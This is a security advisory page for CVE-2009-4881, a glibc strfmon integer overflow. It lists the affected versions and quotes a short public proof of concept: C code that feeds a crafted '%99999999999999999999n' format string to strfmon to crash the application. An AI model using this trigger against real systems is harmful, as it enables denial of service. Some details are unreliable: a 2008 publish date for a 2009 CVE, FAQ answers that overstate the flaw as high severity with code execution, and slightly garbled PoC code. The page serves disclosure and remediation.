CVE-2009-4881: Integer Overflow

Published Mar 25, 2008
·
Updated

Common Vulnerabilities and Exposures assigned an identifier CVE-2009-4881 to the following vulnerability:

Integer overflow in the vstrfmonl function in stdlib/strfmonl.c in the strfmon implementation in the GNU C Library (aka glibc or libc6) before 2.10.1 allows context-dependent attackers to cause a denial of service (application crash) via a crafted format string, as demonstrated by the %99999999999999999999n string, a related issue to CVE-2008-1391.

References: [1] http://sources.redhat.com/bugzilla/showbug.cgi?id=10600 [2] http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f [3] http://sources.redhat.com/bugzilla/showbug.cgi?id=10600 [4] http://securityreason.com/achievementsecurityalert/53 [5] http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/

Public PoC (from [4]):

#include <stdio.h> #include <monetary.h>

int main(int argc, char argv[]){ char buff[51]; char bux=buff; int res;

res=strfmon(bux, 50, argv[1], "0"); return 0; }

cxib# ./pln %99999999999999999999n

Affected Software

46 affected components
GNU glibc=2.2.2
GNU glibc=2.7
GNU glibc=2.1.2
GNU glibc=2.0.5
GNU glibc=2.2.5
GNU glibc=2.0.6
GNU glibc=1.00
GNU glibc=1.06
GNU glibc=2.1.1
GNU glibc=1.02
GNU glibc=2.0.3
GNU glibc=1.07
GNU glibc=2.3.1
GNU glibc=2.3
GNU glibc=2.0
GNU glibc=2.1.1.6
GNU glibc=1.04
GNU glibc=1.01
GNU glibc=2.3.10
GNU glibc=2.4
GNU glibc=2.1
GNU glibc=2.3.4
GNU glibc=2.1.9
GNU glibc=2.3.3
GNU glibc=2.6.1
GNU glibc=2.0.1
GNU glibc=1.09
GNU glibc=2.5.1
GNU glibc=2.6
GNU glibc=2.0.4
GNU glibc=2.0.2
GNU glibc=2.2.1
GNU glibc=2.3.2
GNU glibc=1.03
GNU glibc=2.1.3.10
GNU glibc=2.3.6
GNU glibc=2.2.3
GNU glibc=2.5
GNU glibc=1.08
GNU glibc=2.3.5
GNU glibc=2.8
GNU glibc<=2.9
GNU glibc=2.2.4
GNU glibc=2.1.3
GNU glibc=1.05
GNU glibc=2.2

Event History

Mar 25, 2008
CVE Published
via Red Hat·12:00 AM
Data Sourced
via Red Hat·12:00 AM
RemedyDescriptionSeverityWeakness
Jun 1, 2010
CVE Published
via MITRE·08:00 PM
Data Sourced
via MITRE·08:00 PM
Description
Data Sourced
via NVD·08:30 PM
DescriptionSeverityWeaknessAffected Software
Jun 2, 2010
Data Sourced
via Red Hat·05:02 PM
Affected Software

Frequently Asked Questions

1

What is the severity of CVE-2009-4881?

CVE-2009-4881 is classified as a high severity vulnerability due to its potential for integer overflow leading to security implications.

2

How do I fix CVE-2009-4881?

To remediate CVE-2009-4881, you should update the GNU C Library (glibc) to the latest version that has addressed this vulnerability.

3

Which versions of GNU C Library are affected by CVE-2009-4881?

CVE-2009-4881 affects multiple versions of GNU C Library, including 1.00 to 2.9, with specific vulnerabilities in versions 2.0 to 2.8.

4

What type of vulnerability is CVE-2009-4881?

CVE-2009-4881 is categorized as an integer overflow vulnerability found in the strfmon implementation of the GNU C Library.

5

What are the potential impacts of CVE-2009-4881 if exploited?

If exploited, CVE-2009-4881 may allow attackers to execute arbitrary code or cause unexpected behavior in applications that utilize the affected glibc versions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203